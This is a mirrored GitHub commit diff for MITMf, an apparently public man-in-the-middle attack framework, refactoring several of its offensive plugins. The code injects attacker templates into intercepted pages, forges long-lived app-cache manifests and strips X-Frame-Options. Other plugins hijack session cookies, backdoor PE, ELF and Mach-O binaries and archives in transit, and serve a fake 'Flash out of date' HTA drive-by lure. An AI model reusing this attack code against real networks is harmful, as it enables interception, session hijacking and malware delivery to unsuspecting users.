mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-19 21:13:26 -07:00
App-Cache poison and BrowserSniper plugins have been refactored, added supported python version tags in README
This commit is contained in:
byt3bl33d3r
parent
52a493995a
commit
f0fce41c88
16 changed files with 96 additions and 121 deletions
|
|
@ -34,22 +34,19 @@ class AppCachePlugin(Plugin):
|
|||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.mass_poisoned_browsers = []
|
||||
|
||||
from core.sslstrip.URLMonitor import URLMonitor
|
||||
self.urlMonitor = URLMonitor.getInstance()
|
||||
self.urlMonitor.setAppCachePoisoning()
|
||||
|
||||
def response(self, response, request, data):
|
||||
|
||||
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
|
||||
|
||||
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
|
||||
self.app_config = self.config['AppCachePoison']
|
||||
url = request.client.uri
|
||||
req_headers = request.client.getAllHeaders()
|
||||
headers = request.client.responseHeaders
|
||||
ip = request.client.getClientIP()
|
||||
|
||||
#########################################################################
|
||||
|
||||
if "enable_only_in_useragents" in self.app_config:
|
||||
regexp = self.app_config["enable_only_in_useragents"]
|
||||
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
||||
|
|
@ -58,53 +55,56 @@ class AppCachePlugin(Plugin):
|
|||
|
||||
urls = self.urlMonitor.getRedirectionSet(url)
|
||||
self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo)
|
||||
(name,s,element,url) = self.getSectionForUrls(urls)
|
||||
|
||||
if s is False:
|
||||
data = self.tryMassPoison(url, data, headers, req_headers, ip)
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
section = False
|
||||
for url in urls:
|
||||
for name in self.app_config:
|
||||
if isinstance(self.app_config[name], dict): #'tis a section
|
||||
section = self.app_config[name]
|
||||
|
||||
self.clientlog.info("Found URL {} in section {}".format(url, name), extra=request.clientInfo)
|
||||
p = self.getTemplatePrefix(s)
|
||||
if section.get('manifest_url', False) == url:
|
||||
self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo)
|
||||
self.clientlog.info("Poisoning manifest URL", extra=request.clientInfo)
|
||||
data = self.getSpoofedManifest(url, section)
|
||||
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
|
||||
|
||||
if element == 'tamper':
|
||||
self.clientlog.info("Poisoning tamper URL with template {}".format(p), extra=request.clientInfo)
|
||||
if os.path.exists(p + '.replace'): # replace whole content
|
||||
f = open(p + '.replace','r')
|
||||
data = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
elif section.get('raw_url',False) == url: # raw resource to modify, it does not have to be html
|
||||
self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo)
|
||||
p = self.getTemplatePrefix(section)
|
||||
self.clientlog.info("Poisoning raw URL", extra=request.clientInfo)
|
||||
if os.path.exists(p + '.replace'): # replace whole content
|
||||
f = open(p + '.replace', 'r')
|
||||
data = f.read()
|
||||
f.close()
|
||||
|
||||
elif os.path.exists(p + '.append'): # append file to body
|
||||
f = open(p + '.append','r')
|
||||
appendix = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
# append to body
|
||||
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
||||
elif os.path.exists(p + '.append'): # append file to body
|
||||
f = open(p + '.append', 'r')
|
||||
data += f.read()
|
||||
f.close()
|
||||
|
||||
# add manifest reference
|
||||
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
|
||||
|
||||
elif element == "manifest":
|
||||
self.clientlog.info("Poisoning manifest URL", extra=request.clientInfo)
|
||||
data = self.getSpoofedManifest(url, s)
|
||||
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
|
||||
elif (section.get('tamper_url',False) == url) or (section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url)):
|
||||
self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo)
|
||||
p = self.getTemplatePrefix(section)
|
||||
self.clientlog.info("Poisoning URL with tamper template: {}".format(p), extra=request.clientInfo)
|
||||
if os.path.exists(p + '.replace'): # replace whole content
|
||||
f = open(p + '.replace', 'r')
|
||||
data = f.read()
|
||||
f.close()
|
||||
|
||||
elif element == "raw": # raw resource to modify, it does not have to be html
|
||||
self.clientlog.info("Poisoning raw URL", extra=request.clientInfo)
|
||||
if os.path.exists(p + '.replace'): # replace whole content
|
||||
f = open(p + '.replace','r')
|
||||
data = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
elif os.path.exists(p + '.append'): # append file to body
|
||||
f = open(p + '.append', 'r')
|
||||
appendix = f.read()
|
||||
data = re.sub(re.compile("</body>",re.IGNORECASE), appendix + "</body>", data) #append to body
|
||||
f.close()
|
||||
|
||||
# add manifest reference
|
||||
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(section)+"\"", data)
|
||||
|
||||
if section is False:
|
||||
data = self.tryMassPoison(url, data, headers, req_headers, ip)
|
||||
|
||||
elif os.path.exists(p + '.append'): # append file to body
|
||||
f = open(p + '.append','r')
|
||||
appendix = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
# append to response body
|
||||
data += appendix
|
||||
|
||||
self.cacheForFuture(headers)
|
||||
self.removeDangerousHeaders(headers)
|
||||
headers.removeHeader("X-Frame-Options")
|
||||
return {'response': response, 'request': request, 'data': data}
|
||||
|
||||
def tryMassPoison(self, url, data, headers, req_headers, ip):
|
||||
|
|
@ -112,14 +112,19 @@ class AppCachePlugin(Plugin):
|
|||
|
||||
if not 'mass_poison_url_match' in self.app_config: # no url
|
||||
return data
|
||||
|
||||
if browser_id in self.mass_poisoned_browsers: #already poisoned
|
||||
return data
|
||||
|
||||
if not headers.hasHeader('content-type') or not re.search('html(;|$)', headers.getRawHeaders('content-type')[0]): #not HTML
|
||||
return data
|
||||
|
||||
if 'mass_poison_useragent_match' in self.app_config and not "user-agent" in req_headers:
|
||||
return data
|
||||
|
||||
if not re.search(self.app_config['mass_poison_useragent_match'], req_headers['user-agent']): #different UA
|
||||
return data
|
||||
|
||||
if not re.search(self.app_config['mass_poison_url_match'], url): #different url
|
||||
return data
|
||||
|
||||
|
|
@ -137,17 +142,14 @@ class AppCachePlugin(Plugin):
|
|||
html += "<iframe sandbox=\"\" style=\"opacity:0;visibility:hidden\" width=\"1\" height=\"1\" src=\"" + self.app_config[i]['tamper_url'] + "\"></iframe>"
|
||||
|
||||
return html + "</div>"
|
||||
|
||||
|
||||
def cacheForFuture(self, headers):
|
||||
ten_years = 315569260
|
||||
headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)])
|
||||
headers.setRawHeaders("Cache-Control",["max-age={}".format(ten_years)])
|
||||
headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh
|
||||
in_ten_years = date.fromtimestamp(time.time() + ten_years)
|
||||
headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")])
|
||||
|
||||
def removeDangerousHeaders(self, headers):
|
||||
headers.removeHeader("X-Frame-Options")
|
||||
|
||||
def getSpoofedManifest(self, url, section):
|
||||
p = self.getTemplatePrefix(section)
|
||||
if not os.path.exists(p+'.manifest'):
|
||||
|
|
@ -159,8 +161,8 @@ class AppCachePlugin(Plugin):
|
|||
return self.decorate(manifest, section)
|
||||
|
||||
def decorate(self, content, section):
|
||||
for i in section:
|
||||
content = content.replace("%%"+i+"%%", section[i])
|
||||
for entry in section:
|
||||
content = content.replace("%%{}%%".format(entry), section[entry])
|
||||
return content
|
||||
|
||||
def getTemplatePrefix(self, section):
|
||||
|
|
@ -173,25 +175,4 @@ class AppCachePlugin(Plugin):
|
|||
return self.app_config['templates_path'] + '/default'
|
||||
|
||||
def getManifestUrl(self, section):
|
||||
return section.get("manifest_url",'/robots.txt')
|
||||
|
||||
def getSectionForUrls(self, urls):
|
||||
for url in urls:
|
||||
for i in self.app_config:
|
||||
if isinstance(self.app_config[i], dict): #section
|
||||
section = self.app_config[i]
|
||||
name = i
|
||||
|
||||
if section.get('tamper_url',False) == url:
|
||||
return (name, section, 'tamper',url)
|
||||
|
||||
if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
|
||||
return (name, section, 'tamper',url)
|
||||
|
||||
if section.get('manifest_url',False) == url:
|
||||
return (name, section, 'manifest',url)
|
||||
|
||||
if section.get('raw_url',False) == url:
|
||||
return (name, section, 'raw',url)
|
||||
|
||||
return (None, False,'',urls.copy().pop())
|
||||
return section.get("manifest_url",'/robots.txt')
|
||||
|
|
|
|||
|
|
@ -23,7 +23,7 @@ from datetime import datetime
|
|||
from plugins.plugin import Plugin
|
||||
from twisted.internet import reactor
|
||||
from twisted.web import http
|
||||
from twisted.internet import reactor
|
||||
from core.ferretng.URLMonitor import URLMonitor
|
||||
|
||||
class FerretNG(Plugin):
|
||||
name = "Ferret-NG"
|
||||
|
|
@ -37,9 +37,6 @@ class FerretNG(Plugin):
|
|||
self.ferret_port = options.ferret_port
|
||||
self.cookie_file = None
|
||||
|
||||
from core.ferretng.FerretProxy import FerretProxy
|
||||
from core.ferretng.URLMonitor import URLMonitor
|
||||
|
||||
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
|
||||
|
||||
from core.utils import shutdown
|
||||
|
|
@ -79,6 +76,7 @@ class FerretNG(Plugin):
|
|||
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
|
||||
|
||||
def reactor(self, StrippingProxy):
|
||||
from core.ferretng.FerretProxy import FerretProxy
|
||||
FerretFactory = http.HTTPFactory(timeout=10)
|
||||
FerretFactory.protocol = FerretProxy
|
||||
reactor.listenTCP(self.ferret_port, FerretFactory)
|
||||
|
|
|
|||
|
|
@ -388,7 +388,7 @@ class FilePwn(Plugin):
|
|||
continue
|
||||
|
||||
# Check against keywords
|
||||
keywordCheck = False
|
||||
keywordCheck = True
|
||||
|
||||
if type(self.tarblacklist) is str:
|
||||
if self.tarblacklist.lower() in info.name.lower():
|
||||
|
|
@ -502,7 +502,7 @@ class FilePwn(Plugin):
|
|||
continue
|
||||
|
||||
#Check against keywords
|
||||
keywordCheck = False
|
||||
keywordCheck = True
|
||||
|
||||
if type(self.zipblacklist) is str:
|
||||
if self.zipblacklist.lower() in info.filename.lower():
|
||||
|
|
@ -591,7 +591,8 @@ class FilePwn(Plugin):
|
|||
def response(self, response, request, data):
|
||||
|
||||
content_header = response.headers['Content-Type']
|
||||
client_ip = response.getClientIP()
|
||||
content_length = int(response.headers['Content-Length'])
|
||||
client_ip = request.client.getClientIP()
|
||||
|
||||
for target in self.userConfig['targets'].keys():
|
||||
if target == 'ALL':
|
||||
|
|
@ -630,7 +631,7 @@ class FilePwn(Plugin):
|
|||
self.clientlog.info("Patching complete, forwarding to client!", extra=request.clientInfo)
|
||||
return {'response': response, 'request': request, 'data': bd_tar}
|
||||
|
||||
elif content_header in self.binaryMimeTypes:
|
||||
elif (content_header in self.binaryMimeTypes) and (content_length <= self.FileSizeMax):
|
||||
for bintype in ['pe','elf','fatfile','machox64','machox86']:
|
||||
if self.bytes_have_format(data, bintype):
|
||||
self.clientlog.info("Detected supported binary type ({})!".format(bintype), extra=request.clientInfo)
|
||||
|
|
|
|||
|
|
@ -53,4 +53,4 @@ class HTADriveBy(Inject, Plugin):
|
|||
|
||||
def options(self, options):
|
||||
options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")
|
||||
options.add_argument('--hta-app', type=str, default='./config/hta_driveby/Flash.hta', help='Path to HTA application [defaults to config/hta_driveby/Flash.hta]')
|
||||
options.add_argument('--hta-app', type=str, default='./config/hta_driveby/flash_setup.hta', help='Path to HTA application [defaults to config/hta_driveby/flash_setup.hta]')
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue